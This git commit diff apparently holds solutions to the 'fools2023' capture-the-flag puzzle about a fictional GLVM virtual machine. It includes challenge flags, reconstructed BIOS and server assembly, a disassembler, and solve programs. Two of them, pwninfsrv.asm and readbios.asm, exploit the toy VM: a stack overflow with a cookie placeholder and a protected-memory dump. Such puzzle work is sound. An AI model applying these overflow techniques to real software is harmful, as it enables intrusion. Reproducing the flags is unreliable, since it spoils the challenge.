commit 560d0dfe3e18118662688878e40ee99da7ce251d Author: mid-kid Date: Sat Apr 15 15:53:27 2023 +0200 Upload diff --git a/GRLINFSRV/FLAG.TXT b/GRLINFSRV/FLAG.TXT new file mode 100644 index 0000000..066c06b --- /dev/null +++ b/GRLINFSRV/FLAG.TXT @@ -0,0 +1 @@ +FOOLS2023_{ThisDefinitelyCountsAsBinaryExploitation} diff --git a/GRLINFSRV/GRLINFSRV.PRG b/GRLINFSRV/GRLINFSRV.PRG new file mode 100644 index 0000000..552235d Binary files /dev/null and b/GRLINFSRV/GRLINFSRV.PRG differ diff --git a/GRLTS01/ASDF.TXT b/GRLTS01/ASDF.TXT new file mode 100644 index 0000000..1c2382a --- /dev/null +++ b/GRLTS01/ASDF.TXT @@ -0,0 +1 @@ +sdfhkdsh sjdfhkdsfh testing file functions FOOLS2023_{ThisFileDoesNotExist} \ No newline at end of file diff --git a/GRLTS01/BIOS.PRG b/GRLTS01/BIOS.PRG new file mode 100644 index 0000000..61dc3f0 Binary files /dev/null and b/GRLTS01/BIOS.PRG differ diff --git a/GRLTS01/MATHTEST.PRG b/GRLTS01/MATHTEST.PRG new file mode 100644 index 0000000..e47ab48 Binary files /dev/null and b/GRLTS01/MATHTEST.PRG differ diff --git a/GRLTS01/MONITOR.PRG b/GRLTS01/MONITOR.PRG new file mode 100644 index 0000000..a803673 Binary files /dev/null and b/GRLTS01/MONITOR.PRG differ diff --git a/GRLTS01/REPORT03.PRG b/GRLTS01/REPORT03.PRG new file mode 100644 index 0000000..a4ee7c9 Binary files /dev/null and b/GRLTS01/REPORT03.PRG differ diff --git a/GRLTS01/REPORT03.TXT b/GRLTS01/REPORT03.TXT new file mode 100644 index 0000000..850d62a Binary files /dev/null and b/GRLTS01/REPORT03.TXT differ diff --git a/GRLTS01/TODO.TXT b/GRLTS01/TODO.TXT new file mode 100644 index 0000000..d476914 --- /dev/null +++ b/GRLTS01/TODO.TXT @@ -0,0 +1,21 @@ +to do list +- revisit the sentience issues in the battle program (missingno addressing players?) +- upgrade slower processor on grlts02 +- add glvm disassembler to language monitor <----- URGENT, REQUIRED FOR GLVM TRANSITION + decide on disassembly syntax too + +FOOLS2023_{OhLookThereIsATextFile} + +PrintStr = 0x0008 +StrCmp = 0x0010 +FindIndex = 0x0018 +ConvertHex = 0x0020 +MemCpy = 0x0028 +ReadStr = 0x0030 +StrTrim = 0x0038 +MemSet = 0x0040 + +2319 +2324 +2331 +far red close blue diff --git a/GRLTS02/ENCTABLE.BIN b/GRLTS02/ENCTABLE.BIN new file mode 100644 index 0000000..5d3bce3 Binary files /dev/null and b/GRLTS02/ENCTABLE.BIN differ diff --git a/GRLTS02/FLAG.TXT b/GRLTS02/FLAG.TXT new file mode 100644 index 0000000..72e26ab --- /dev/null +++ b/GRLTS02/FLAG.TXT @@ -0,0 +1 @@ +FOOLS2023_{SolidAuthenticationScheme} diff --git a/GRLTS02/MIXTEST.PRG b/GRLTS02/MIXTEST.PRG new file mode 100644 index 0000000..34a8222 Binary files /dev/null and b/GRLTS02/MIXTEST.PRG differ diff --git a/GRLTS02/MONITOR.PRG b/GRLTS02/MONITOR.PRG new file mode 100644 index 0000000..dd61bd2 Binary files /dev/null and b/GRLTS02/MONITOR.PRG differ diff --git a/fools2023 b/fools2023 new file mode 160000 index 0000000..05995e2 --- /dev/null +++ b/fools2023 @@ -0,0 +1 @@ +Subproject commit 05995e2ba0b2bda907513ef8cb6b2fa85012de1a diff --git a/prog/Makefile b/prog/Makefile new file mode 100644 index 0000000..f308442 --- /dev/null +++ b/prog/Makefile @@ -0,0 +1,38 @@ +OBJCOPY ?= objcopy + +LDFLAGS := -Ttext=0x2000 + +.PHONY: all +all: mathtest.prg report03.prg monitor.prg bios.prg grlinfsrv.prg monitor02.prg mixtest.prg + diff mathtest.prg ../GRLTS01/MATHTEST.PRG + diff report03.prg ../GRLTS01/REPORT03.PRG + diff monitor.prg ../GRLTS01/MONITOR.PRG + diff bios.prg ../GRLTS01/BIOS.PRG + diff grlinfsrv.prg ../GRLINFSRV/GRLINFSRV.PRG + diff monitor02.prg ../GRLTS02/MONITOR.PRG + diff mixtest.prg ../GRLTS02/MIXTEST.PRG + +.PHONY: clean +clean: + rm -f *.elf *.prg custom/*.prg + +.INTERMEDIATE: monitor.elf +monitor.elf: LDFLAGS := -Ttext=0xE000 + +.INTERMEDIATE: bios.elf +bios.elf: LDFLAGS := -Ttext=0x0000 + +.INTERMEDIATE: grlinfsrv.elf +grlinfsrv.elf: LDFLAGS := -Ttext=0xF000 + +.INTERMEDIATE: monitor02.elf +monitor02.elf: LDFLAGS := -Ttext=0xE000 + +%.o: %.asm instr.inc + $(COMPILE.s) $(OUTPUT_OPTION) $< + +%.elf: %.o + $(LD) $(LDFLAGS) $(OUTPUT_OPTION) $^ + +%.prg: %.elf + $(OBJCOPY) -j .text -O binary $< $@ diff --git a/prog/bios.asm b/prog/bios.asm new file mode 100644 index 0000000..dd79bcc --- /dev/null +++ b/prog/bios.asm @@ -0,0 +1,318 @@ +.include "instr.inc" +.text + +.global _start +_start: + +_entry_Null: + .fill 8, 1, 0xff + +_entry_PrintStr: + jp bios_PrintStr + +.fill (0x10 - (. - _start)), 1, 0 +_entry_StrCmp: + jp bios_StrCmp + +.fill (0x18 - (. - _start)), 1, 0 +_entry_FindIndex: + jp bios_FindIndex + +.fill (0x20 - (. - _start)), 1, 0 +_entry_ConvertHex: + jp bios_ConvertHex + +.fill (0x28 - (. - _start)), 1, 0 +_entry_MemCpy: + jp bios_MemCpy + +.fill (0x30 - (. - _start)), 1, 0 +_entry_ReadStr: + jp bios_ReadStr + +.fill (0x38 - (. - _start)), 1, 0 +_entry_StrTrim: + jp bios_StrTrim + +.fill (0x40 - (. - _start)), 1, 0 +_entry_MemSet: + +bios_ret: + ret + +# in: R2=str +bios_PrintStr: + cp_r2 0x1000 + jp_hi bios_ret + + # Interpret special bytes + ldrb_r0_r2 + cp_r0 0 + jp_eq bios_PrintStr_ret + cp_r0 0xf0 + jp_eq bios_PrintStr_ram_word + cp_r0 0xf1 + jp_eq bios_PrintStr_ram_byte + + # Print the byte + copr_putc + inc_r2 + jp bios_PrintStr + +bios_PrintStr_ret: + ret + +bios_PrintStr_ram_word: + # Grab the word pointed to + inc_r2 + ldr_r0_r2 + cp_r0 0x1000 + jp_hi bios_ret + ldr_r0_r0 + + # Print it + call bios_PrintHex_word + inc_r2 + inc_r2 + jp bios_PrintStr + +bios_PrintStr_ram_byte: + # Grab the byte pointed to + inc_r2 + ldr_r0_r2 + cp_r0 0x1000 + jp_hi bios_ret + ldrb_r0_r0 + + # Print it + call bios_PrintHex_byte + inc_r2 + inc_r2 + jp bios_PrintStr + +# in: R2=one R3=two +# re: R0=res +bios_StrCmp: + cp_r2 0x1000 + jp_hi bios_ret + cp_r3 0x1000 + jp_hi bios_ret + + # Check the bytes + ldrb_r0_r2 + ldrb_r1_r3 + cp_r0_r1 + jp_ne bios_StrCmp_ret + cp_r0 0 + jp_eq bios_StrCmp_ret + + # Keep looping + inc_r2 + inc_r3 + jp bios_StrCmp + +bios_StrCmp_ret: + ret + +bios_PrintHex_word: + swap_r0 + call bios_PrintHex + swap_r0 + +bios_PrintHex_byte: + call bios_PrintHex + ret + +bios_PrintHex: + # Print the high nybble + push_r0 + shr_r0 + shr_r0 + shr_r0 + shr_r0 + and_r0 0xf + call bios_PrintHex_nybble + pop_r0 + + # Print the low nybble + push_r0 + and_r0 0xf + call bios_PrintHex_nybble + pop_r0 + ret + +bios_PrintHex_nybble: + add_r0 bios_PrintHex_chars + ldrb_r0_r0 + copr_putc + ret + +bios_PrintHex_chars: + .ascii "0123456789ABCDEF" + +# in: R2=table R3=value +# re: R0=index (err=-1) +bios_FindIndex: + ld_r1 -1 + +bios_FindIndex_loop: + inc_r1 + cp_r2 0x1000 + jp_hi bios_ret + ldrb_r0_r2 + inc_r2 + + cp_r0 0xff + jp_eq bios_FindIndex_end + cp_r0_r3 + jp_ne bios_FindIndex_loop + ld_r0_r1 + ret + +bios_FindIndex_end: + ld_r0 -1 + ret + +bios_FindIndexUnsafe: + ld_r1 -1 + +bios_FindIndexUnsafe_loop: + inc_r1 + ldrb_r0_r2 + inc_r2 + + cp_r0 0xff + jp_eq bios_FindIndexUnsafe_end + cp_r0_r3 + jp_ne bios_FindIndexUnsafe_loop + ld_r0_r1 + ret + +bios_FindIndexUnsafe_end: + ld_r0 -1 + ret + + .ascii "\0\0\0" + .ascii "Glitch Research Laboratory GLVM BIOS version 1.3" + .ascii " / " + .ascii "Do not distribute!" + .ascii " / " + .ascii "FOOLS2023_{DumpingWasAnInsideJob}" + .ascii "\0\0\0" + +# in: R2=mem +# re: R0=res (err=-1) +bios_ConvertHex: + ld_r3 0 + +bios_ConvertHex_loop: + cp_r2 0x1000 + jp_hi bios_ret + ldrb_r0_r2 + inc_r2 + + cp_r0 0 + jp_eq bios_ConvertHex_end + cp_r0 '\n' + jp_eq bios_ConvertHex_end + + # Move previous r3 value to high nybble + add_r3_r3 + add_r3_r3 + add_r3_r3 + add_r3_r3 + + # Find the index of the character + push_r2 + push_r3 + ld_r2 bios_ConvertHex_hextable + ld_r3_r0 + call bios_FindIndexUnsafe + pop_r3 + pop_r2 + cp_r0 -1 + jp_eq bios_ConvertHex_ret + + # Get the value of the character + ld_r1 bios_ConvertHex_valtable + add_r1_r0 + ldrb_r1_r1 + + # Add current nybble to result + add_r3_r1 + jp bios_ConvertHex_loop + +bios_ConvertHex_end: + ld_r0_r3 + +bios_ConvertHex_ret: + ret + +bios_ConvertHex_hextable: + .ascii "0123456789abcdefABCDEF" + .byte 0xff + +bios_ConvertHex_valtable: + .byte 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 + .byte 10, 11, 12, 13, 14, 15 + .byte 0xff + +# in: R1=size R2=dst R3=src +bios_MemCpy: + cp_r3 0x1000 + jp_hi bios_ret + cp_r2 0x1000 + jp_hi bios_ret + ldrb_r0_r3 + strb_r0_r2 + inc_r3 + inc_r2 + dec_r1 + cp_r1 0 + jp_ne bios_MemCpy + ret + +# in: R2=mem R3=size +bios_ReadStr: + copr_getc + cp_r2 0x1000 + jp_hi bios_ret + strb_r0_r2 + + # Read until the next newline + cp_r0 '\n' + jp_eq bios_ReadStr_end + + # Skip characters if the size has ran out + cp_r3 0 + jp_eq bios_ReadStr_skip + inc_r2 + dec_r3 +bios_ReadStr_skip: + jp bios_ReadStr + +bios_ReadStr_end: + # Add string terminator + inc_r2 + ld_r0 0 + strb_r0_r2 + ret + +# in: R2=mem +bios_StrTrim: + # Find the first whitespace + ldrb_r0_r2 + cp_r0 '\n' + jp_eq bios_StrTrim_end + cp_r0 0 + jp_eq bios_StrTrim_end + inc_r2 + jp bios_StrTrim + +bios_StrTrim_end: + # Write a string terminator + ld_r0 0 + cp_r2 0x1000 + jp_hi bios_ret + strb_r0_r2 + ret diff --git a/prog/custom/mathsolve.asm b/prog/custom/mathsolve.asm new file mode 100644 index 0000000..a20cddc --- /dev/null +++ b/prog/custom/mathsolve.asm @@ -0,0 +1,44 @@ +.include "instr.inc" +.text + +.global _start +_start: + copr 0x66 + copr 0x64 # 0x539 + ld_r0 0x24 + copr 0x65 + copr 0x64 # 0x4c22 + ld_r0 0x8b + copr 0x65 + copr 0x64 # 0x9e3f + ld_r0 0xc9 + copr 0x65 + copr 0x64 # 0x9610 + ld_r0 0xc4 + copr 0x65 + copr 0x64 # 0x0 + ld_r0 0 + copr 0x65 + copr 0x64 # 0x403d + ld_r0 0x80 + copr 0x65 + copr 0x64 # 0x3021 + ld_r0 0x6f + copr 0x65 + copr 0x64 # 0x1e61 + ld_r0 0x58 + copr 0x65 + ret + +#loop: +# copr 0x64 +# brk # Write answer to 0xfb3e +# copr 0x65 +# cp_r0 1 +# jp_ne end +# jp loop +# +#err: +# ld_r1 -1 +# brk +# ret diff --git a/prog/custom/mathsolve.py b/prog/custom/mathsolve.py new file mode 100755 index 0000000..c226cf0 --- /dev/null +++ b/prog/custom/mathsolve.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python3 + +from sys import argv +from math import sqrt + +res = int(sqrt(int(argv[1], 16))) & 0xFFFF + +print("w") +print("fb3e") +print("%02x%02x" % (res & 0xFF, res >> 8)) +print(".") +print("c") diff --git a/prog/custom/pwninfsrv.asm b/prog/custom/pwninfsrv.asm new file mode 100644 index 0000000..17283bc --- /dev/null +++ b/prog/custom/pwninfsrv.asm @@ -0,0 +1,29 @@ +.include "instr.inc" +.text + +.set org, 0xf753 + +.global _start +_start: + # Relocate + ld_r1 (stack - main) + ld_r2 main + ld_r3 (main - 0x2000 + org) + call MemCpy + jp main + +main: + # Receive a replacement monitor rom + ld_r3 0xf000 +main_loop: + copr_getc + strb_r0_r3 + inc_r3 + cp_r3 0 + jp_ne main_loop + jp 0xf000 + + .fill (0xfe00 - org) - (. - _start), 1, 0x00 +stack: + .byte 0x12, 0x34, 0x56, 0x78 # Replace with stack cookie + .fill (0x100 / 2) - 2, 2, org diff --git a/prog/custom/readbios.asm b/prog/custom/readbios.asm new file mode 100644 index 0000000..cde1c2a --- /dev/null +++ b/prog/custom/readbios.asm @@ -0,0 +1,72 @@ +.include "instr.inc" +.text + +# Failed techniques: +# - reading with stack pointer +# - using a function stored in bios (memcpy, readstr+text_ram_byte) +# - using undocumented copr commands +# - inspecting the stack and calling different code in the bios + +# Approach used: +# - Load REPORT03.PRG into bios area +# - Call some of its code to exfiltrate data + +.global _start +_start: + jp simple + + # Full approach relying on REPORT03.PRG + ld_r0 0x8 + ld_r1 0xf00 + copr_readblk + + ld_r2 0 + ld_r3 0x1000 +loop: + # Read the byte + push_r3 + call get_byte + pop_r3 + + # Store the byte + push_r2 + ld_r2_r3 + str_r0_r2 + pop_r2 + + # Increment the pointer + inc_r3 + inc_r3 + cp_r3 0x2000 + jp_ne loop + + # Hexdump the retrieved data + pop_r3 + ld_r2 0x1000 + ld_r3 (32 * 0x10) + jp 0xf12d # cmd_read_loop + +get_byte: + # Load byte from r2 into r0, trash all regs + ld_r0 0 + ld_r3 0 + jp 0xf66 +.fill 0x63 - (. - _start), 1, 0 + # Code at 0xf66 jumps here after completion + ret + +# Simpler approach learned after dumping the bios +simple: + ld_r1 0x1000 + ld_r2 0x1000 + ld_r3 0 +simple_loop: + call 0x1e8 + cp_r1 0 + jp_ne simple_loop + + pop_r3 + ld_r2 0x1000 + ld_r3 (32 * 0x10) + jp 0xf12d # cmd_read_loop + #jp 0xf48a # GRLTS02 monitor diff --git a/prog/custom/readfile.asm b/prog/custom/readfile.asm new file mode 100644 index 0000000..215b8a2 --- /dev/null +++ b/prog/custom/readfile.asm @@ -0,0 +1,18 @@ +.include "instr.inc" +.text + +.global _start +_start: + ld_r2 0x1fe0 + ld_r3 0x10 + call ReadStr + ld_r2 0x1fe0 + call ConvertHex + + ld_r1 0x1000 + copr_readblk + + pop_r3 + ld_r2 0x1000 + ld_r3 32 + jp 0xf12d diff --git a/prog/custom/test.asm b/prog/custom/test.asm new file mode 100644 index 0000000..f894e55 --- /dev/null +++ b/prog/custom/test.asm @@ -0,0 +1,89 @@ +.include "instr.inc" +.text + +.global _start +_start: + ld_r0 0x40ff + ld_r1 0x50ff + ld_r2 0x60ff + ld_r3 0x70ff + + mix + mix1_ld_r1 mem_password + mix1_inc_r1 + mix1_ldr_r0_r1 + mix1_ld_r1 0x5871 + mix1_cp_r0_r1 + mix1_jp_ne loc_203b + mix1_inc_r3 +loc_203b: + mix1_switch2 + mix2_ldr_r0 mem_password + 3 + mix2_xor_r0 0x54c2 + mix2_cp_r0 0x6da4 + mix2_jp_ne loc_2049 + mix2_inc_r3 +loc_2049: + mix2_switch3 + mix3_ld_r1 mem_password + 1 + mix3_dec_r1 + mix3_ldrb_r0_r1 + mix3_add_r0_r0 + mix3_add_r0_r0 + mix3_cp_r0 0x011c + mix3_jp_ne loc_2058 + mix3_inc_r3 +loc_2058: + mix3_ld_r0 -1 + mix3_end + + ld_r2 -1 + brk + brk + brk + brk + +# ld_r0 0xab67 +# ld_r1 0x1234 +#loop: +# strb_r0 mod + 1 +# brk +#mod: +# copr 0 +# brk +# inc_r0 +# jp loop +# ret + + ld_r2 str_yes + jp_eq end + ld_r2 str_no +end: + call PrintStr + ret + +break: + ld_r0 -1 + brk + ret + +mem_test: + .2byte 0x1000 +mem_test2: + .2byte 0x1100 +mem_test3: + .2byte 0x1200 +mem_test4: + .2byte 0x1300 + +mem_input: + .ascii "A\0" # 0x9ec0 + +str_yes: + .ascii "yes\n\0" +str_no: + .ascii "no\n\0" + + .fill 0x100 - (. - _start) +mem_password: + .byte 0x47, 0x71, 0x58, 0x66, 0x39, 0x06, 0x07, 0x08 diff --git a/prog/disasm.py b/prog/disasm.py new file mode 100755 index 0000000..09fdeeb --- /dev/null +++ b/prog/disasm.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python3 + +from sys import argv + +base = 0x2000 +file = argv[1] +addr = int(argv[2], 16) - base + +instrs = { + 0x00: ("brk", 1), + 0x01: ("mul_r0", 3), + 0x02: ("mul_r0_r1", 1), + 0x03: ("div_r0", 3), + 0x04: ("div_r0_r1", 1), + 0x05: ("ret", 1), + 0x06: ("copr", 2), + 0x07: ("illegal_07", 1), + 0x08: ("nop", 1), + 0x09: ("ld_sp", 3), + 0x0a: ("ld_r0_sp", 1), + 0x0b: ("ld_sp_r0", 1), + 0x0c: ("nop_0c", 1), + 0x0d: ("illegal_0d", 1), + 0x0e: ("shl_r0", 1), + 0x0f: ("shr_r0", 1), + 0x10: ("ld_r0", 3), + 0x11: ("ld_r1", 3), + 0x12: ("ld_r2", 3), + 0x13: ("ld_r3", 3), + 0x14: ("illegal_14", 1), + 0x15: ("illegal_15", 1), + 0x16: ("illegal_16", 1), + 0x17: ("illegal_17", 1), + 0x18: ("illegal_18", 1), + 0x19: ("illegal_19", 1), + 0x1a: ("illegal_1a", 1), + 0x1b: ("illegal_1b", 1), + 0x1c: ("illegal_1c", 1), + 0x1d: ("illegal_1d", 1), + 0x1e: ("illegal_1e", 1), + 0x1f: ("illegal_1f", 1), + 0x20: ("ld_r0_r0", 1), + 0x21: ("ld_r0_r1", 1), + 0x22: ("ld_r0_r2", 1), + 0x23: ("ld_r0_r3", 1), + 0x24: ("ld_r1_r0", 1), + 0x25: ("ld_r1_r1", 1), + 0x26: ("ld_r1_r2", 1), + 0x27: ("ld_r1_r3", 1), + 0x28: ("ld_r2_r0", 1), + 0x29: ("ld_r2_r1", 1), + 0x2a: ("ld_r2_r2", 1), + 0x2b: ("ld_r2_r3", 1), + 0x2c: ("ld_r3_r0", 1), + 0x2d: ("ld_r3_r1", 1), + 0x2e: ("ld_r3_r2", 1), + 0x2f: ("ld_r3_r3", 1), + 0x30: ("add_r0_r0", 1), + 0x31: ("add_r0_r1", 1), + 0x32: ("add_r0_r2", 1), + 0x33: ("add_r0_r3", 1), + 0x34: ("add_r1_r0", 1), + 0x35: ("add_r1_r1", 1), + 0x36: ("add_r1_r2", 1), + 0x37: ("add_r1_r3", 1), + 0x38: ("add_r2_r0", 1), + 0x39: ("add_r2_r1", 1), + 0x3a: ("add_r2_r2", 1), + 0x3b: ("add_r2_r3", 1), + 0x3c: ("add_r3_r0", 1), + 0x3d: ("add_r3_r1", 1), + 0x3e: ("add_r3_r2", 1), + 0x3f: ("add_r3_r3", 1), + 0x40: ("ldrb_r0_r0", 1), + 0x41: ("ldrb_r0_r1", 1), + 0x42: ("ldrb_r0_r2", 1), + 0x43: ("ldrb_r0_r3", 1), + 0x44: ("ldrb_r1_r0", 1), + 0x45: ("ldrb_r1_r1", 1), + 0x46: ("ldrb_r1_r2", 1), + 0x47: ("ldrb_r1_r3", 1), + 0x48: ("ldrb_r2_r0", 1), + 0x49: ("ldrb_r2_r1", 1), + 0x4a: ("ldrb_r2_r2", 1), + 0x4b: ("ldrb_r2_r3", 1), + 0x4c: ("ldrb_r3_r0", 1), + 0x4d: ("ldrb_r3_r1", 1), + 0x4e: ("ldrb_r3_r2", 1), + 0x4f: ("ldrb_r3_r3", 1), + 0x50: ("ldr_r0_r0", 1), + 0x51: ("ldr_r0_r1", 1), + 0x52: ("ldr_r0_r2", 1), + 0x53: ("ldr_r0_r3", 1), + 0x54: ("ldr_r1_r0", 1), + 0x55: ("ldr_r1_r1", 1), + 0x56: ("ldr_r1_r2", 1), + 0x57: ("ldr_r1_r3", 1), + 0x58: ("ldr_r2_r0", 1), + 0x59: ("ldr_r2_r1", 1), + 0x5a: ("ldr_r2_r2", 1), + 0x5b: ("ldr_r2_r3", 1), + 0x5c: ("ldr_r3_r0", 1), + 0x5d: ("ldr_r3_r1", 1), + 0x5e: ("ldr_r3_r2", 1), + 0x5f: ("ldr_r3_r3", 1), + 0x60: ("strb_r0_r0", 1), + 0x61: ("strb_r1_r0", 1), + 0x62: ("strb_r2_r0", 1), + 0x63: ("strb_r3_r0", 1), + 0x64: ("strb_r0_r1", 1), + 0x65: ("strb_r1_r1", 1), + 0x66: ("strb_r2_r1", 1), + 0x67: ("strb_r3_r1", 1), + 0x68: ("strb_r0_r2", 1), + 0x69: ("strb_r1_r2", 1), + 0x6a: ("strb_r2_r2", 1), + 0x6b: ("strb_r3_r2", 1), + 0x6c: ("strb_r0_r3", 1), + 0x6d: ("strb_r1_r3", 1), + 0x6e: ("strb_r2_r3", 1), + 0x6f: ("strb_r3_r3", 1), + 0x70: ("str_r0_r0", 1), + 0x71: ("str_r1_r0", 1), + 0x72: ("str_r2_r0", 1), + 0x73: ("str_r3_r0", 1), + 0x74: ("str_r0_r1", 1), + 0x75: ("str_r1_r1", 1), + 0x76: ("str_r2_r1", 1), + 0x77: ("str_r3_r1", 1), + 0x78: ("str_r0_r2", 1), + 0x79: ("str_r1_r2", 1), + 0x7a: ("str_r2_r2", 1), + 0x7b: ("str_r3_r2", 1), + 0x7c: ("str_r0_r3", 1), + 0x7d: ("str_r1_r3", 1), + 0x7e: ("str_r2_r3", 1), + 0x7f: ("str_r3_r3", 1), + 0x80: ("cp_r0_r0", 1), + 0x81: ("cp_r0_r1", 1), + 0x82: ("cp_r0_r2", 1), + 0x83: ("cp_r0_r3", 1), + 0x84: ("cp_r1_r0", 1), + 0x85: ("cp_r1_r1", 1), + 0x86: ("cp_r1_r2", 1), + 0x87: ("cp_r1_r3", 1), + 0x88: ("cp_r2_r0", 1), + 0x89: ("cp_r2_r1", 1), + 0x8a: ("cp_r2_r2", 1), + 0x8b: ("cp_r2_r3", 1), + 0x8c: ("cp_r3_r0", 1), + 0x8d: ("cp_r3_r1", 1), + 0x8e: ("cp_r3_r2", 1), + 0x8f: ("cp_r3_r3", 1), + 0x90: ("push_r0", 1), + 0x91: ("push_r1", 1), + 0x92: ("push_r2", 1), + 0x93: ("push_r3", 1), + 0x94: ("pop_r0", 1), + 0x95: ("pop_r1", 1), + 0x96: ("pop_r2", 1), + 0x97: ("pop_r3", 1), + 0x98: ("jp", 3), + 0x99: ("call", 3), + 0x9a: ("jp_hi", 3), + 0x9b: ("jp_lo", 3), + 0x9c: ("jp_eq", 3), + 0x9d: ("jp_ne", 3), + 0x9e: ("call_hi", 3), + 0x9f: ("call_lo", 3), + 0xa0: ("call_eq", 3), + 0xa1: ("call_ne", 3), + 0xa2: ("cp_r0", 3), + 0xa3: ("cp_r1", 3), + 0xa4: ("cp_r2", 3), + 0xa5: ("cp_r3", 3), + 0xa6: ("push_sp", 1), + 0xa7: ("push_pc", 1), + 0xa8: ("inc_r0", 1), + 0xa9: ("inc_r1", 1), + 0xaa: ("inc_r2", 1), + 0xab: ("inc_r3", 1), + 0xac: ("dec_r0", 1), + 0xad: ("dec_r1", 1), + 0xae: ("dec_r2", 1), + 0xaf: ("dec_r3", 1), + 0xb0: ("ldrb_r0", 3), + 0xb1: ("ldrb_r1", 3), + 0xb2: ("ldrb_r2", 3), + 0xb3: ("ldrb_r3", 3), + 0xb4: ("ldr_r0", 3), + 0xb5: ("ldr_r1", 3), + 0xb6: ("ldr_r2", 3), + 0xb7: ("ldr_r3", 3), + 0xb8: ("strb_r0", 3), + 0xb9: ("strb_r1", 3), + 0xba: ("strb_r2", 3), + 0xbb: ("strb_r3", 3), + 0xbc: ("str_r0", 3), + 0xbd: ("str_r1", 3), + 0xbe: ("str_r2", 3), + 0xbf: ("str_r3", 3), + 0xc0: ("illegal_c0", 1), + 0xc1: ("illegal_c1", 1), + 0xc2: ("illegal_c2", 1), + 0xc3: ("illegal_c3", 1), + 0xc4: ("illegal_c4", 1), + 0xc5: ("jp_r0", 1), + 0xc6: ("jp_r1", 1), + 0xc7: ("jp_r2", 1), + 0xc8: ("jp_r3", 1), + 0xc9: ("call_r0", 1), + 0xca: ("call_r1", 1), + 0xcb: ("call_r2", 1), + 0xcc: ("call_r3", 1), + 0xcd: ("and_r0", 3), + 0xce: ("or_r0", 3), + 0xcf: ("xor_r0", 3), + 0xd0: ("and_r0_r0", 1), + 0xd1: ("and_r0_r1", 1), + 0xd2: ("and_r0_r2", 1), + 0xd3: ("and_r0_r3", 1), + 0xd4: ("or_r0_r0", 1), + 0xd5: ("or_r0_r1", 1), + 0xd6: ("or_r0_r2", 1), + 0xd7: ("or_r0_r3", 1), + 0xd8: ("xor_r0_r0", 1), + 0xd9: ("xor_r0_r1", 1), + 0xda: ("xor_r0_r2", 1), + 0xdb: ("xor_r0_r3", 1), + 0xdc: ("swap_r0", 1), + 0xdd: ("swap_r1", 1), + 0xde: ("swap_r2", 1), + 0xdf: ("swap_r3", 1), + 0xe0: ("add_r0", 3), + 0xe1: ("add_r1", 3), + 0xe2: ("add_r2", 3), + 0xe3: ("add_r3", 3), + 0xe4: ("illegal_e4", 1), + 0xe5: ("illegal_e5", 1), + 0xe6: ("illegal_e6", 1), + 0xe7: ("illegal_e7", 1), + 0xe8: ("illegal_e8", 1), + 0xe9: ("illegal_e9", 1), + 0xea: ("illegal_ea", 1), + 0xeb: ("illegal_eb", 1), + 0xec: ("illegal_ec", 1), + 0xed: ("illegal_ed", 1), + 0xee: ("illegal_ee", 1), + 0xef: ("illegal_ef", 1), + 0xf0: ("illegal_f0", 1), + 0xf1: ("illegal_f1", 1), + 0xf2: ("illegal_f2", 1), + 0xf3: ("illegal_f3", 1), + 0xf4: ("illegal_f4", 1), + 0xf5: ("illegal_f5", 1), + 0xf6: ("illegal_f6", 1), + 0xf7: ("illegal_f7", 1), + 0xf8: ("illegal_f8", 1), + 0xf9: ("illegal_f9", 1), + 0xfa: ("illegal_fa", 1), + 0xfb: ("illegal_fb", 1), + 0xfc: ("illegal_fc", 1), + 0xfd: ("illegal_fd", 1), + 0xfe: ("illegal_fe", 1), + 0xff: ("illegal_ff", 1), +} + +stop_instr = [ + "ret", + "jp" +] + +f = open(file, "rb") +f.seek(addr) +while True: + o = f.tell() + base + b = f.read(1)[0] + if b not in instrs: + print("Unhandled: %02x" % b) + break + + i = instrs[b] + a = 0 + for x in range(i[1]-1): + a |= f.read(1)[0] << (8 * x) + if i[1] != 1: + print("%s 0x%04x # 0x%04x" % (i[0], a, o)) + else: + print("%s # 0x%04x" % (i[0], o)) + + if i[0] in stop_instr: + break diff --git a/prog/exec.sh b/prog/exec.sh new file mode 100755 index 0000000..5e3ed59 --- /dev/null +++ b/prog/exec.sh @@ -0,0 +1,10 @@ +#!/bin/sh +make "$1" 1>&2 + +echo w +echo 2000 +xxd -p "$1" +echo . +echo x +echo 2000 +echo Y diff --git a/prog/grlinfsrv.asm b/prog/grlinfsrv.asm new file mode 100644 index 0000000..1eaa05f --- /dev/null +++ b/prog/grlinfsrv.asm @@ -0,0 +1,227 @@ +.include "instr.inc" +.text + +.global _start +_start: + # Set up the stack + ld_sp mem_stack + copr_random + str_r0 mem_stack_tail + str_r0 mem_stack_cookie + copr_random + str_r0 mem_stack_tail + 2 + str_r0 mem_stack_cookie + 2 + + # Prompt for username + ld_r2 str_login + call PrintStr + ld_r2 mem_username + ld_r3 15 + call ReadStr + ld_r2 mem_username + call StrTrim + + call main + + ld_r2 str_done + call PrintStr + + copr_halt +die: + jp die + +main: + # Welcome the user + ld_r2 str_welcome + call PrintStr + ld_r2 mem_username + call PrintStr + ld_r2 str_welcome2 + call PrintStr + + # Process input + ld_r2 mem_input + call input_read + ldrb_r0 mem_input + cp_r0 'Q' + jp_eq main_end + cp_r0 'q' + jp_eq main_end + ldrb_r0 mem_input + 1 + cp_r0 '\n' + jp_eq main_print_info + cp_r0 0 + jp_eq main_print_info + jp main_wrong_input + +main_print_info: + # Get info index + ldrb_r3 mem_input + add_r3 -'0' + cp_r3 3 + jp_lo main_wrong_input + + # Print the correct string + add_r3_r3 + add_r3 mem_info_strings + ldr_r2_r3 + call PrintStr + jp main + +main_wrong_input: + ld_r2 str_wrong_input + call PrintStr + ld_r3 0x1000 + jp main + +main_end: + # Check for stack smash + ldr_r0 mem_stack_cookie + ldr_r1 mem_stack_tail + cp_r0_r1 + jp_ne stack_smash_halt + ldr_r0 mem_stack_cookie + 2 + ldr_r1 mem_stack_tail + 2 + cp_r0_r1 + jp_ne stack_smash_halt + ret + +input_read: + # Store the byte + copr_getc + strb_r0_r2 + + # Treat newline as delimiter + cp_r0 '\n' + jp_eq input_read_end + + # Don't increment if ran out of space + cp_r3 0 + jp_eq input_read_skip + inc_r2 + dec_r3 +input_read_skip: + jp input_read + +input_read_end: + # Terminate the string + inc_r2 + ld_r0 0 + strb_r0_r2 + + # Check for stack smash + ldr_r0 mem_stack_cookie + ldr_r1 mem_stack_tail + cp_r0_r1 + jp_ne stack_smash_halt + ldr_r0 mem_stack_cookie + 2 + ldr_r1 mem_stack_tail + 2 + cp_r0_r1 + jp_ne stack_smash_halt 